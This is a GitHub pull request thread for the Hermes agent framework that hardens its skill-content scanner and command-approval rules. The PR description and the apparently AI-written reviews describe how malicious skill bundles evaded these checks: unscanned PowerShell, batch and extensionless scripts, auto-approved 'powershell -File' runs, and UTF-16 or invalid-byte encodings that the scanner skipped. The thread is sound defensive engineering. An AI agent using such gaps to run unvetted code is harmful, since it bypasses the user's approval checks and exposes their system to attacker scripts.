fix(security): close skill-scanning and command-approval gaps for non… - #57990
fix(security): close skill-scanning and command-approval gaps for non…#57990MorAlekss wants to merge 7 commits into
Conversation
alt-glitch
added
type/security
|
suggesting changes The patch closes the advertised scanner gaps for The command-approval bypass is still reachable when the PowerShell I reviewed the meaningful patch replayed onto current GitHub Signed: GPT-5.5-xhigh in Codex |
|
suggesting changes The scanner and PowerShell Security evidence:
I reviewed the meaningful patch replayed onto current GitHub Signed: GPT-5.5-xhigh in Codex |
|
Fixed:
Added:
|
|
looks mergeable The scanner and command-approval gaps validate on a current-main patch replay: Security evidence:
Worth improving:
I reviewed the meaningful patch replayed onto current GitHub Signed: GPT-5.5-xhigh in Codex |
teknium1
left a comment
teknium1
left a comment
There was a problem hiding this comment.
Thanks for addressing the scanner coverage and non-interactive confirmation paths; the current-main premises are real (tools/skills_guard.py:529-582, tools/approval.py:595-610, and hermes_cli/skills_hub.py:670-680).
Problems
tui_gateway/server.py:13663now returns the actual result, but the Hub overlay still closes unconditionally after the RPC resolves (ui-tui/src/components/skillsHub.tsx:79-82). Afalseinstall result remains invisible to that UI path.- The new rule in
tools/approval.py:516can classify-finside an inline-Commandpayload as the outer-Fileflag, e.g.powershell -Command "Write-Host -f Green ok". The existing.*is compiled with DOTALL (tools/approval.py:459).
Suggested changes
- Have
skillsHub.tsxretain and display a failed install response, with a regression test. - Constrain the PowerShell matcher to invocation arguments before
-Command/-c, and add the inline-command negative test while preserving the extra-options-Filecase.
Automated hermes-sweeper review.
| @@ -13660,8 +13660,8 @@ class _Q: | |||
| def print(self, *a, **k): | |||
| pass | |||
|
|
|||
| do_install(query, skip_confirm=True, console=_Q()) | |||
| return _ok(rid, {"installed": True, "name": query}) | |||
| installed = do_install(query, skip_confirm=True, console=_Q()) | |||
There was a problem hiding this comment.
Returning the real result fixes the RPC contract, but the Hub overlay currently ignores installed and closes on every resolved response (ui-tui/src/components/skillsHub.tsx:79-82). Please update that caller to show failure and remain open when this is false.
There was a problem hiding this comment.
Done in 754723d, with the test mount fixed in 089333e.
The caller now branches on the RPC result instead of closing unconditionally:
.then(r => {
if (r?.installed) {
onClose()
} else {
setErr(`Install failed for "${name}".`)
}
})
Regression coverage in ui-tui/src/tests/skillsHub.test.tsx:
- installed: false - asserts the install request was actually issued, that
onClose was not called, and that the failure is rendered next to the skill
name. - installed: true - asserts onClose fires exactly once.
Both pass on the current rebase onto main (2/2), as does the full ui-tui
suite. Note that packages/hermes-ink must be built first - vitest cannot
load the suite otherwise.
| @@ -511,6 +511,12 @@ def _sudo_stdin_block_result(description: str) -> dict: | |||
| # "del"/"rm" (e.g. `-File c:\del-logs\run.ps1`) is not. | |||
| (r'\b(?:powershell|pwsh)(?:\.exe)?\b(?:\s+-\S+)*\s+(?:-(?:command|c)\s+)?["\']?(?:remove-item|rmdir|erase|del|rd|ri|rm)\b', "Windows PowerShell destructive delete"), | |||
| (r'\b(?:powershell|pwsh)(?:\.exe)?\b.*\s-(?:encodedcommand|enc|e)\b', "PowerShell encoded command execution"), | |||
| # -File was intentionally excluded from the destructive-delete pattern | |||
| # above (a benign path containing "del"/"rm" would false-positive), but | |||
| # that left running an arbitrary .ps1 script via -File completely | |||
There was a problem hiding this comment.
Because this pattern is compiled with DOTALL and has .* before -f, it also matches an inline payload such as powershell -Command "Write-Host -f Green ok". Please constrain the match to PowerShell invocation arguments and add that negative regression case.
There was a problem hiding this comment.
The rule this thread is about is no longer in the branch, so the DOTALL
false-positive is gone rather than constrained.
Current main covers this structurally instead. tools/approval.py carries an
interpreter exec-flag scan with
_INTERPRETER_EXEC_FLAGS["powershell"] = {"-command", "-c", "-file", "-f"},
and it already satisfies the constraint you asked for: shell tokenization
keeps a quoted payload as a single invocation argument, so an inline
payload's own -f is never read as a flag, and the scan returns the first
exec flag in argument order, so -Command wins.
_interpreter_exec_flag("powershell", ["-Command", "Write-Host -f Green ok"])
-> "-command"
_interpreter_exec_flag("powershell", ["-NoProfile", "-Command", "Write-Host -File x"])
-> "-command"
_interpreter_exec_flag("powershell", ["-ExecutionPolicy", "Bypass", "-File", "helper.ps1"])
-> "-file"
Keeping my regex on top of that would have been a second, weaker rule for
the same thing, and its test collided with the upstream
test_powershell_benign_path_containing_del_not_matched_as_delete on rebase.
I kept the negative case you asked for, since the suite had no coverage of
an inline payload carrying -f. Two tests in e507543:
test_powershell_inline_command_payload_f_is_not_the_file_flag and
test_powershell_file_flag_after_leading_options_still_matches. They pin both
halves of the request: an inline payload must not resolve to -File, and
-File after ordinary leading options must still resolve.
One note, not a request: -File surfaces the generic
"script execution via -e/-c flag" description the tokenizer uses for every
interpreter exec flag. It is still detected as dangerous; only the message is
less specific than the rule I originally proposed. If a distinct label is
worth having, I'd rather send it as its own PR against the tokenizer than
reopen approval.py here.
teknium1
added
sweeper:risk-security-boundary
|
suggesting changes The production changes replay cleanly onto current GitHub Please rebase and update the harness to register input through the current Hermes Ink test surface, then retain both assertions: a false install result keeps the overlay open with an error, while a true result closes it. The replayed production logic itself behaved correctly in direct false/true gateway probes; this request is for merge-ready regression evidence, not a different implementation. The submitted branch has unrelated history with current main, so I reviewed a narrow changed-path patch replay against current GitHub Security evidence:
Signed: GPT-5.6-sol-xhigh in Codex |
6fb3bfe to
e507543
Compare
|
Rebased onto current main (760112a). History is linear now: the earlier Scope change worth flagging up front: the PowerShell -File approval rule is What remains:
On the failing UI test from the last review: the input harness was not stale. The actual cause was the partial Theme stub the test mounted with. On current Test evidence on the rebased branch:
A few unrelated failures reproduce locally on an unmodified checkout |
|
suggesting changes The rebased head fixes the prior Skills Hub regression-test gap, but the new PowerShell scanner coverage is still bypassable by UTF-16 encoded scripts. A BOM-prefixed UTF-16LE Please detect BOM-marked UTF-16LE/BE text before applying the binary fallback, and add focused regression coverage for the malicious UTF-16 PowerShell case. Security evidence:
Signed: GPT-5.6-sol-xhigh in Codex |
|
Confirmed and fixed in 52dba33. Wider than the .ps1 case you reported. Same skip for UTF-16BE, UTF-32, and for A second defect turned up while testing: a UTF-8 BOM does decode, but the mark
Eight regression tests in |
|
suggesting changes
Please make undecodable content fail closed when it is script-like, or scan it in a byte-preserving way that cannot drop ASCII threat patterns, while retaining the binary exception only after robust classification. Add this invalid-byte executable as a finding regression alongside the genuine-binary negative control. The BOM-encoded PowerShell cases, interactive and non-interactive ask-verdict behavior, gateway false/true propagation, and Skills Hub failure/success UI cases otherwise validate as expected. Security evidence:
I reviewed the six-commit patch replayed onto current GitHub Signed: GPT-5.6-sol-xhigh in Codex |
52dba33 to
3f1f203
Compare
|
not enough evidence I attempted the review using a run-owned local patch replay of PR head At the submitted PR head, static review found fail-closed handling for an Signed: GPT-5.6-sol-xhigh in Codex |
3f1f203 to
a93164b
Compare
|
Rebased onto current main in a93164b9. One thing to flag before you replay it, since the diff no longer matches your The tests needed no change: they dispatch through Runs on the rebased head: The relocation is exercised rather than passing incidentally: reverting |
…t reach confirmation
…eractive confirmation is available
a93164b to
832e3c3
Compare
|
Pushed again in 832e3c3: #74383 landed in the meantime and pruned the suite |
|
suggesting changes
Security evidence:
Not checked:
Signed: GPT-5.6-sol-xhigh in Codex |
4 participants
Summary
Fixes two independent gaps in Skills Guard. First, the pre-install
content scanner only recognized shell/Python/config file extensions,
so a malicious PowerShell (.ps1), batch (.bat/.cmd), or extensionless
script bundled in a skill received zero content scanning while an
identical payload in a .sh file would have been flagged. Second,
running an arbitrary .ps1 file via
powershell -Filewas completelyunmatched by any command-approval pattern, unlike bash/python/node
script execution. Third, an "ask" verdict (medium-risk findings on a
trusted/community source) from
should_allow_install()was treatedthe same as a hard block, so those installs never reached the y/N
confirmation they were supposed to get.
Root cause
tools/skills_guard.py'sscan_file()only ranTHREAT_PATTERNSagainst files whose extension appeared in
SCANNABLE_EXTENSIONS(.md/.py/.sh/.js/etc) or whose name was exactly
SKILL.md..ps1,.psm1,.psd1,.bat, and.cmdwere absent from that set, and afile with no extension at all (
file_path.suffix == "", common forunix-style executables like
run/setup) hit the same early return.Most
THREAT_PATTERNSmatch on the literal tool/path text in a line(egress tools, persistence paths) rather than on language-specific
syntax, so this wasn't a fundamental scanning limitation, just a
missing extension.
Separately,
tools/approval.py's command-approval patternsdeliberately exclude
-Filefrom the "Windows PowerShell destructivedelete" rule (a benign path merely containing "del"/"rm", e.g.
-File c:\del-logs\run.ps1, would otherwise false-positive), but noother rule covered plain
-Filescript execution at all. A commandlike
powershell -File helper.ps1matched nothing inDANGEROUS_PATTERNSand was auto-approved with no warning, unlike theexisting
-c/-erule that already covers bash/python/node.Separately again,
should_allow_install()(intools/skills_guard.py)returns a three-state result (
True/False/None, whereNonemeans"ask"), but
hermes_cli/skills_hub.py'sdo_install()checked it withif not allowed:, andNoneis falsy in Python, so the "ask" branchwas indistinguishable from a hard block and never reached the existing
confirmation-prompt code further down the function.
Behavioral change
Before: a skill bundle could ship a malicious
.ps1/.bat/extensionlessfile that the scanner never inspected, and even if a user later ran it
via
powershell -File, no approval prompt appeared at all. Separately,skills that should have prompted for confirmation were unconditionally
blocked with a "Requires confirmation" reason printed under an
"Installation blocked" header.
After:
.ps1/.psm1/.psd1/.bat/.cmdfiles and extensionlessfiles are scanned the same as any other bundled script.
powershell/pwshinvocations using-Filenow require approval witha specific reason. An "ask" verdict prints a distinct
"Review required" message and falls through to the existing y/N
confirmation instead of being blocked outright.
What changed
tools/skills_guard.py: added.ps1,.psm1,.psd1,.bat,.cmdtoSCANNABLE_EXTENSIONS.scan_file()'s early-return guard nowalso scans files with no extension, relying on the existing
UnicodeDecodeError/OSErrorhandling to skip anything that turns outto be a genuine binary.
tools/approval.py: added a pattern matchingpowershell/pwsh(and their
.exeforms) invoked with-File/-f, placed after theexisting destructive-delete and encoded-command rules.
hermes_cli/skills_hub.py:do_install()now checksallowed is False(hard block, unchanged behavior) and separatelyallowed is None(prints "Review required" and falls through to theexisting confirmation prompt, previously unreachable).
tests/tools/test_skills_guard.py: added tests confirming.ps1/.bat/extensionless files are now scanned, and that anextensionless binary still doesn't crash the scanner.
tests/tools/test_approval.py: added tests for the new-Filerule (plain,
.exe,pwsh, with extra flags) and a negative caseconfirming
-Commandisn't misattributed to it. Updated one existingtest whose prior expectation relied on the exact gap this fix closes.
tests/hermes_cli/test_skills_hub.py: added a test constructing an"ask" verdict end-to-end and confirming it prints "Review required"
(not "Installation blocked") and reaches the actual install step.
What is NOT changed
should_allow_install()'s own decision logic is untouched; only thecaller's three-state handling in
do_install()was fixedformat_scan_report()anddo_update()'s use offorce=Trueareuntouched — a related but separate issue already has an open PR